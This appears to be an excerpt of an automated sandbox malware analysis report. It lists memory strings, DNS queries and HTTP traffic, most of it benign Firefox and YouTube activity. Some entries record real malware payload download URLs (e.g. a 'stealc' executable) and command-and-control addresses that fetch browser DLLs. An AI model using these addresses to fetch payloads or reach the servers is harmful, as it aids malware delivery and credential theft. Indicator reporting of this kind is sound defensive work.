Source: WebAssistDatabase.31.dr	String found in binary or memory: khttps://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AdF4I76bhaA_aVty0iMsNWpSFD_kqdmV32oHOGHqV7-nl1HJIHGO7E4i_rwNArhc2F8my2kH4-eCsg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-552832755%3A1721977076390066&ddm=0YouTubeshare video friend family worldf equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF50D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: moz-nullprincipal:{494fcdfd-43a8-46e3-877f-26248bf8973e}?https://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2771088874.000001F401D9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: moz-nullprincipal:{b0f79af7-cfec-48ab-b4a1-fc4550790d9e}?https://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2181650607.0000027667472000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2143690714.000002766746D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://www.youtube.com/account --attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000003.2424135237.000001F401A8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: s://www.youtube.com/accountlastModified equals www.youtube.com (Youtube)
Source: e0dbbf79bf.exe, 00000014.00000003.2139947751.00000000021D7000.00000004.00000020.00020000.00000000.sdmp, e0dbbf79bf.exe, 00000014.00000003.2140080976.00000000020C0000.00000004.00000020.00020000.00000000.sdmp, e0dbbf79bf.exe, 0000002B.00000003.2323750612.0000000002140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: set "URL=https://www.youtube.com/account" equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000003.2494910858.000001F400485000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F4013D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: tlsflags0x00000000:www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF723000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=enmoc.elgoog.stnuocca. equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2755898255.000001F400F56000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401D84000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400FDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000003.2498006915.000001F3FFC54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2735797926.000001F3FED37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2494910858.000001F4004AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000003.2424135237.000001F401A8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FED03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741348665.000001F3FF55D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com:443 equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr	String found in binary or memory: www.youtube.comRhj equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2763245710.000001F401603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2451059348.000001F401642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2448634428.000001F401633000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.comZ equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr	String found in binary or memory: www.youtube.com\ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2771088874.000001F401DB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000003.2451059348.000001F401642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2448634428.000001F401633000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com` equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr	String found in binary or memory: www.youtube.comaccounts.google.com equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr	String found in binary or memory: www.youtube.comaccounts.google.com/\| equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr	String found in binary or memory: www.youtube.comaccounts.google.comRhj equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF714000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.comprecisionType equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr	String found in binary or memory: www.youtube.comwww.youtube.com equals www.youtube.com (Youtube)
Source: load_statistics.db-wal.31.dr	String found in binary or memory: www.youtube.comwww.youtube.com\ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2733365636.000001F3FD91C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400FC8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400F2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2733365636.000001F3FD933000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401DC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2764269512.000001F4018E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x.S........[tlsflags0x00000000]www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2765179427.000001F40195E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2383402901.000001F4019F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xabout:certerror?e=nssBadCert&u=https%3A//www.youtube.com/account&c=UTF-8&d=%20 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2642592159.000001F3FB51B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2739459601.000001F3FF30A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xe=nssBadCert&u=https%3A//www.youtube.com/account&c=UTF-8&d=%20 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FED52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733365636.000001F3FD933000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2642592159.000001F3FB51B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2735797926.000001F3FED52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733365636.000001F3FD933000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.youtube.com^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FED52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps:www.youtube.com:443:.:^partitionKey=%28https%2Cyoutube.com%29:3 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000003.2494910858.000001F400485000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F4013D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xtlsflags0x00000000:www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF723000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: youtube.com/accountmoc.ebutuoy.www. equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ~predictor-origin,:https://www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: mitmdetection.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: o.pki.goog
Source: global traffic	DNS traffic detected: DNS query: pki-goog.l.google.com
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: coe.com.vn
Source: global traffic	DNS traffic detected: DNS query: restores.name

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 14Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandboxStrict-Transport-Security: max-age=31536000X-Content-Type-Options: nosniffX-Frame-Options: denyX-XSS-Protection: 1; mode=blockContent-Type: text/plain; charset=utf-8X-GitHub-Request-Id: E44B:2DEAE1:15CB3F:186164:66A3490CAccept-Ranges: bytesDate: Fri, 26 Jul 2024 06:58:20 GMTVia: 1.1 varnishX-Served-By: cache-ewr18126-EWRX-Cache: MISSX-Cache-Hits: 0X-Timer: S1721977100.472720,VS0,VE7Vary: Authorization,Accept-Encoding,OriginAccess-Control-Allow-Origin: *Cross-Origin-Resource-Policy: cross-originX-Fastly-Request-ID: cc743a43d7c01c8120f88e89c3cda914a31a7ab5Expires: Fri, 26 Jul 2024 07:03:20 GMTSource-Age: 0

Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/cost/random.exe
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/cost/random.exe61395d7f
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/cost/random.exeon
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/enter.exe
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/enter.exemV
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exe
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exe(T
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/stealc/random.exe
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/003002
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/15.113.19/003002
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000011.00000002.2529884809.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php-
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php3
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php;
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000011.00000002.2529884809.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpA
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpEscape
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpFh
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpM
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpS
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpb
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpe0dbbf79bf.exe.mun
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpe0dbbf79bf.exe.munP
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpi
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phplC
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phptch
Source: explorti.exe, 00000011.00000002.2529884809.0000000000A57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/ows
Source: cda9e1cbbc.exe, 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmp, cda9e1cbbc.exe, 00000013.00000002.2540102316.00000000025DE000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmp, cda9e1cbbc.exe, 00000025.00000002.2534669785.00000000025EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.000000000263A000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2574802271.0000000022DE0000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000025.00000002.2534669785.00000000025EA000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000025.00000002.2534669785.0000000002645000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000025.00000002.2534669785.0000000002620000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/499d72b3a3e55be.php
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002607000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2542353391.000000000263A000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmp, cda9e1cbbc.exe, 00000013.00000002.2574013937.0000000022DBC000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000025.00000002.2534669785.00000000025EA000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000025.00000002.2534669785.0000000002645000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000025.00000002.2534669785.0000000002620000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php9
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpAV
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpX
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.000000000263A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpZ
Source: cda9e1cbbc.exe, 00000013.00000002.2574013937.0000000022DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpelegram
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpi
Source: cda9e1cbbc.exe, 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phposition:
Source: cda9e1cbbc.exe, 00000013.00000002.2574013937.0000000022DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpsion
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpvV
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/freebl3.dll
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/mozglue.dll
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/mozglue.dll&_
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/msvcp140.dll
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/msvcp140.dllh
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/nss3.dll
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/softokn3.dll
Source: cda9e1cbbc.exe, 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/sqlite3.dll
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/sqlite3.dll#
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/sqlite3.dll.
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/sqlite3.dll=
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.0000000002654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/sqlite3.dllvX
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.000000000263A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/vcruntime140.dll
Source: cda9e1cbbc.exe, 00000013.00000002.2574802271.0000000022DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/e
Source: cda9e1cbbc.exe, 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://85.28.47.315499d72b3a3e55be.phposition:
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF714000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744297021.000001F3FF845000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://c.pki.goog/wr2/GSyT1N4PBrg.crl0
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%sextractScheme/fixupChangedProtocol
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: firefox.exe, 0000001C.00000002.2738377059.000001F3FF214000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabeu
Source: firefox.exe, 0000001C.00000002.2738377059.000001F3FF214000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enany
Source: firefox.exe, 0000001C.00000003.2435363573.000001F4017D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2764269512.000001F4018A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742790289.000001F3FF74E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2642592159.000001F3FB557000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435548375.000001F4013D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2739459601.000001F3FF303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F4013D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2291451161.000001F402F5B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2608969227.000001F3FAC51000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlshouldSkipCheckForBrokenURLOrZeroSizedLOAD_MEDIA_SNIFF
Source: firefox.exe, 0000001C.00000003.2294552189.000001F4018A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741348665.000001F3FF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2612092313.000001F3FADED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401DCF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435041713.000001F4018A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
